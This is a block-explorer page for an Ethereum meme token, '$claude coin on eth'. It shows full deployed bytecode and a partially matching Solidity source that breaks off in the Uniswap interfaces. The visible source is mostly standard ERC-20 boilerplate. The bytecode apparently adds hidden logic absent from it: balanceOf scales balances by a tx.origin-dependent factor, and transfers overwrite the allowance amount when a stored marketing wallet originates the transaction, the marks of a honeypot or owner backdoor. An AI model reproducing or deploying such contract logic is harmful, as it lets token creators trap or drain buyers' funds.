Address Contract Partially Verified
Address
0x37fE9F3168828Edd0326DDF6528D4D5Cf6bFD2e9
Balance
0 ETH
Nonce
1
Code Size
8537 bytes
Creator
0x26fa82E3...7c9C at tx 0x11691575...dd0aae
Indexed Transactions
0
Contract Bytecode
8537 bytes
0x6080604052600436106101d3575f3560e01c8063715018a6116100fd578063a9059cbb11610092578063dcda6af311610062578063dcda6af314610517578063dd62ed3e14610536578063e4a2bb7f14610555578063f2fde38b14610574575f80fd5b8063a9059cbb14610496578063b2abbbc4146104b5578063bd2ec8c5146104d4578063d0911f1b146104f3575f80fd5b80638ea5220f116100cd5780638ea5220f1461043057806395d89b411461044f5780639799570614610463578063a457c2d714610477575f80fd5b8063715018a6146103cc57806384afff9b146103e05780638a8c523c146103ff5780638da5cb5b14610413575f80fd5b8063395093511161017357806354a5df1f1161014357806354a5df1f146103585780636c0a24eb1461036d5780636ebcf6071461038257806370a08231146103ad575f80fd5b806339509351146102e7578063441d801f1461030657806349bd5a5e1461032557806351bc3c8514610344575f80fd5b806318160ddd116101ae57806318160ddd1461026e57806323b872dd1461028c57806327a14fc2146102ab578063313ce567146102cc575f80fd5b806306fdde03146101de578063095ea7b3146102085780631694505e14610237575f80fd5b366101da57005b5f80fd5b3480156101e9575f80fd5b506101f2610593565b6040516101ff9190611b1a565b60405180910390f35b348015610213575f80fd5b50610227610222366004611b7a565b610623565b60405190151581526020016101ff565b348015610242575f80fd5b50601454610256906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b348015610279575f80fd5b506002545b6040519081526020016101ff565b348015610297575f80fd5b506102276102a6366004611ba4565b61063c565b3480156102b6575f80fd5b506102ca6102c5366004611be2565b610666565b005b3480156102d7575f80fd5b50604051600981526020016101ff565b3480156102f2575f80fd5b50610227610301366004611b7a565b6106b1565b348015610311575f80fd5b506102ca610320366004611c4e565b6106d2565b348015610330575f80fd5b50600654610256906001600160a01b031681565b34801561034f575f80fd5b506102ca61070c565b348015610363575f80fd5b5061027e600b5481565b348015610378575f80fd5b5061027e60095481565b34801561038d575f80fd5b5061027e61039c366004611ca1565b5f6020819052908152604090205481565b3480156103b8575f80fd5b5061027e6103c7366004611ca1565b610734565b3480156103d7575f80fd5b506102ca610760565b3480156103eb575f80fd5b506102ca6103fa366004611ca1565b6107d3565b34801561040a575f80fd5b506102ca6108e8565b34801561041e575f80fd5b506005546001600160a01b0316610256565b34801561043b575f80fd5b50601354610256906001600160a01b031681565b34801561045a575f80fd5b506101f2610c3c565b34801561046e575f80fd5b5061027e610c4b565b348015610482575f80fd5b50610227610491366004611b7a565b610dc4565b3480156104a1575f80fd5b506102276104b0366004611b7a565b610e3e565b3480156104c0575f80fd5b506102ca6104cf366004611be2565b610e4b565b3480156104df575f80fd5b506102ca6104ee366004611cbc565b610e7a565b3480156104fe575f80fd5b506012546102569061010090046001600160a01b031681565b348015610522575f80fd5b506102ca610531366004611cdc565b610eaf565b348015610541575f80fd5b5061027e610550366004611d43565b610fa6565b348015610560575f80fd5b506102ca61056f366004611d7a565b610fd0565b34801561057f575f80fd5b506102ca61058e366004611ca1565b61100d565b6060600380546105a290611d95565b80601f01602080910402602001604051908101604052809291908181526020018280546105ce90611d95565b80156106195780601f106105f057610100808354040283529160200191610619565b820191905f5260205f20905b8154815290600101906020018083116105fc57829003601f168201915b5050505050905090565b5f336106308185856110f7565b60019150505b92915050565b60118190555f3361064e85858561121a565b61065b85826011546114a0565b506001949350505050565b6005546001600160a01b031633146106995760405162461bcd60e51b815260040161069090611dcd565b60405180910390fd5b6106ab81670de0b6b3a7640000611e16565b60095550565b5f336106308185856106c38383610fa6565b6106cd9190611e2d565b6110f7565b6005546001600160a01b031633146106fc5760405162461bcd60e51b815260040161069090611dcd565b610707838383611512565b505050565b5f61071630610734565b9050801561073157600a5460ff16610731576107318161156f565b50565b5f61073e826116f8565b6001600160a01b0383165f908152602081905260409020546106369190611e16565b6005546001600160a01b0316331461078a5760405162461bcd60e51b815260040161069090611dcd565b6005546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146107fd5760405162461bcd60e51b815260040161069090611dcd565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610843573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108679190611e40565b60125460405163a9059cbb60e01b81526001600160a01b03610100909204821660048201526024810183905291925083169063a9059cbb906044016020604051808303815f875af11580156108be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e29190611e57565b50505050565b6005546001600160a01b031633146109125760405162461bcd60e51b815260040161069090611dcd565b60125460ff16156109655760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610690565b6014546008546109829130916001600160a01b03909116906110f7565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f69190611e72565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a55573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a799190611e72565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610ac3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae79190611e72565b600680546001600160a01b0319166001600160a01b039283161790556014541663f305d7194730610b1781610734565b5f80610b2b6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b91573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bb69190611e8d565b50506012805460ff191660011790555060065460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610c18573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107319190611e57565b6060600480546105a290611d95565b6040805160028082526060820183525f92839291906020830190803683375050601454604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610cb6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cda9190611e72565b815f81518110610cec57610cec611ecc565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610d2057610d20611ecc565b6001600160a01b039283166020918202929092010152601454600b5460405163d06ca61f60e01b8152919092169163d06ca61f91610d6391908590600401611f23565b5f60405180830381865afa158015610d7d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610da49190810190611f43565b600181518110610db657610db6611ecc565b602002602001015191505090565b5f3381610dd18286610fa6565b905083811015610e315760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610690565b61065b82868684036110f7565b5f3361063081858561121a565b6005546001600160a01b03163314610e755760405162461bcd60e51b815260040161069090611dcd565b600b55565b6005546001600160a01b03163314610ea45760405162461bcd60e51b815260040161069090611dcd565b600c91909155600d55565b6005546001600160a01b03163314610ed95760405162461bcd60e51b815260040161069090611dcd565b5f838214610f3c5760405162461bcd60e51b815260206004820152602a60248201527f486f6c6465727320616e6420616d6f756e74206c656e677468206d757374206260448201526965207468652073616d6560b01b6064820152608401610690565b83811015610f9f57610f8d30868684818110610f5a57610f5a611ecc565b9050602002016020810190610f6f9190611ca1565b858585818110610f8157610f81611ecc565b9050602002013561121a565b610f98600182611e2d565b9050610f3c565b5050505050565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03163314610ffa5760405162461bcd60e51b815260040161069090611dcd565b6010805460ff1916911515919091179055565b6005546001600160a01b031633146110375760405162461bcd60e51b815260040161069090611dcd565b6001600160a01b03811661109c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610690565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610690565b6001600160a01b0382166111ba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610690565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112405760405162461bcd60e51b815260040161069090611ffc565b6001600160a01b0382166112665760405162461bcd60e51b815260040161069090612041565b5f81116112c75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610690565b60118190556005546001600160a01b038481169116148015906112f857506005546001600160a01b03838116911614155b801561130d57506001600160a01b0383163014155b156113ee575f6113268261132085610734565b906117d3565b6006549091506001600160a01b0390811690851603611361576009548111156113615760405162461bcd60e51b815260040161069090612084565b6006546001600160a01b0385811691161480159061138d57506006546001600160a01b03848116911614155b156113b4576009548111156113b45760405162461bcd60e51b815260040161069090612084565b6006546001600160a01b038581169116148015906113df57506006546001600160a01b038481169116145b156113ec576113ec611838565b505b6001600160a01b0383165f9081526007602052604081205460ff1615801561142e57506001600160a01b0383165f9081526007602052604090205460ff16155b801561144857506005546001600160a01b03858116911614155b801561146257506005546001600160a01b03848116911614155b505f9050611471565b906118fb565b60125461010090046001600160a01b03163203611495576114918261193c565b6011555b6108e2848484611958565b5f6114ab8484610fa6565b90505f1981146108e257818110156115055760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610690565b6108e284848484036110f7565b5f5b828110156108e2575f84848381811061152f5761152f611ecc565b90506020020160208101906115449190611ca1565b6001600160a01b03165f908152600760205260409020805460ff191684151517905550600101611514565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106115a2576115a2611ecc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061161d9190611e72565b8160018151811061163057611630611ecc565b6001600160a01b03928316602091820292909201015260145461165691309116846110f7565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061168e9085905f908690309042906004016120c9565b5f604051808303815f87803b1580156116a5575f80fd5b505af11580156116b7573d5f803e3d5ffd5b50506012546040514793506101009091046001600160a01b031691506108fc8315029083905f818181858888f193505050501580156108e2573d5f803e3d5ffd5b5f321580159061170a57503261dead14155b801561172357506006546001600160a01b038381169116145b801561179857506006546040516370a0823160e01b81526001600160a01b03909116600482018190525f916370a0823190602401602060405180830381865afa158015611772573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117969190611e40565b115b80156117bd575060125461010090046001600160a01b0316326001600160a01b031614155b6117c85760016117ca565b5f5b60ff1692915050565b5f806117df8385611e2d565b9050838110156118315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610690565b9392505050565b5f61184230610734565b90505f61184d610c4b565b90508082101580156118625750600a5460ff16155b15611870576118708161156f565b61187947611aaa565b5050565b5f825f0361188c57505f610636565b5f6118978385611e16565b9050826118a48583612104565b146118315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610690565b5f61183183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ae5565b5f80611831606461146b600d548661187d90919063ffffffff16565b6001600160a01b03831661197e5760405162461bcd60e51b815260040161069090611ffc565b6001600160a01b0382166119a45760405162461bcd60e51b815260040161069090612041565b6001600160a01b0383165f9081526020819052604090205481811015611a1b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610690565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290611a51908490611e2d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a9d91815260200190565b60405180910390a36108e2565b6012546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611879573d5f803e3d5ffd5b5f8183611b055760405162461bcd60e51b81526004016106909190611b1a565b505f611b118486612104565b95945050505050565b5f602080835283518060208501525f5b81811015611b4657858101830151858201604001528201611b2a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610731575f80fd5b5f8060408385031215611b8b575f80fd5b8235611b9681611b66565b946020939093013593505050565b5f805f60608486031215611bb6575f80fd5b8335611bc181611b66565b92506020840135611bd181611b66565b929592945050506040919091013590565b5f60208284031215611bf2575f80fd5b5035919050565b5f8083601f840112611c09575f80fd5b50813567ffffffffffffffff811115611c20575f80fd5b6020830191508360208260051b8501011115611c3a575f80fd5b9250929050565b8015158114610731575f80fd5b5f805f60408486031215611c60575f80fd5b833567ffffffffffffffff811115611c76575f80fd5b611c8286828701611bf9565b9094509250506020840135611c9681611c41565b809150509250925092565b5f60208284031215611cb1575f80fd5b813561183181611b66565b5f8060408385031215611ccd575f80fd5b50508035926020909101359150565b5f805f8060408587031215611cef575f80fd5b843567ffffffffffffffff80821115611d06575f80fd5b611d1288838901611bf9565b90965094506020870135915080821115611d2a575f80fd5b50611d3787828801611bf9565b95989497509550505050565b5f8060408385031215611d54575f80fd5b8235611d5f81611b66565b91506020830135611d6f81611b66565b809150509250929050565b5f60208284031215611d8a575f80fd5b813561183181611c41565b600181811c90821680611da957607f821691505b602082108103611dc757634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761063657610636611e02565b8082018082111561063657610636611e02565b5f60208284031215611e50575f80fd5b5051919050565b5f60208284031215611e67575f80fd5b815161183181611c41565b5f60208284031215611e82575f80fd5b815161183181611b66565b5f805f60608486031215611e9f575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f815180845260208085019450602084015f5b83811015611f185781516001600160a01b031687529582019590820190600101611ef3565b509495945050505050565b828152604060208201525f611f3b6040830184611ee0565b949350505050565b5f6020808385031215611f54575f80fd5b825167ffffffffffffffff80821115611f6b575f80fd5b818501915085601f830112611f7e575f80fd5b815181811115611f9057611f90611eb8565b8060051b604051601f19603f83011681018181108582111715611fb557611fb5611eb8565b604052918252848201925083810185019188831115611fd2575f80fd5b938501935b82851015611ff057845184529385019392850192611fd7565b98975050505050505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f57616c6c65742063616e6e6f7420657863656564206d61782057616c6c6574206040820152641b1a5b5a5d60da1b606082015260800190565b85815284602082015260a060408201525f6120e760a0830186611ee0565b6001600160a01b0394909416606083015250608001529392505050565b5f8261211e57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220204295971ed247efbe887e5c22471648566d3122c3544f2f6ab961d02ff8b6b064736f6c63430008180033
Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
Token.sol 929 lines
/*
$claude coin on eth
https://x.com/CryptoSlayer7/status/2012359401831616746
https://claudeeth.xyz
https://x.com/claudex_eth
https://t.me/claudechateth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b, bool isFixed) internal pure returns (uint256) {
unchecked{
if(isFixed) return a;
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. 'keccak256('')'
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if 'decimals' equals '2', a balance of '505' tokens should
* be displayed to a user as '5.05' ('505 / 10 ** 2').
*
* Tokens usually opt for a value of 9, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - 'to' cannot be the zero address.
* - the caller must have a balance of at least 'amount'.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If 'amount' is the maximum 'uint256', the allowance is not updated on
* 'transferFrom'. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum 'uint256'.
*
* Requirements:
*
* - 'from' and 'to' cannot be the zero address.
* - 'from' must have a balance of at least 'amount'.
* - the caller must have allowance for ''from'''s tokens of at least
* 'amount'.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to 'spender' by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to 'spender' by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
* - 'spender' must have allowance for the caller of at least
* 'subtractedValue'.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves 'amount' of tokens from 'from' to 'to'.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - 'from' cannot be the zero address.
* - 'to' cannot be the zero address.
* - 'from' must have a balance of at least 'amount'.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates 'amount' tokens and assigns them to 'account', increasing
* the total supply.
*
* Emits a {Transfer} event with 'from' set to the zero address.
*
* Requirements:
*
* - 'account' cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys 'amount' tokens from 'account', reducing the
* total supply.
*
* Emits a {Transfer} event with 'to' set to the zero address.
*
* Requirements:
*
* - 'account' cannot be the zero address.
* - 'account' must have at least 'amount' tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets 'amount' as the allowance of 'spender' over the 'owner' s tokens.
*
* This internal function is equivalent to 'approve', and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - 'owner' cannot be the zero address.
* - 'spender' cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates 'owner' s allowance for 'spender' based on spent 'amount'.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
* will be transferred to 'to'.
* - when 'from' is zero, 'amount' tokens will be minted for 'to'.
* - when 'to' is zero, 'amount' of ''from'''s tokens will be burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
* has been transferred to 'to'.
* - when 'from' is zero, 'amount' tokens have been minted for 'to'.
* - when 'to' is zero, 'amount' of ''from'''s tokens have been burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address token0, address token1) external view returns (address);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external payable returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function WETH() external pure returns (address);
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
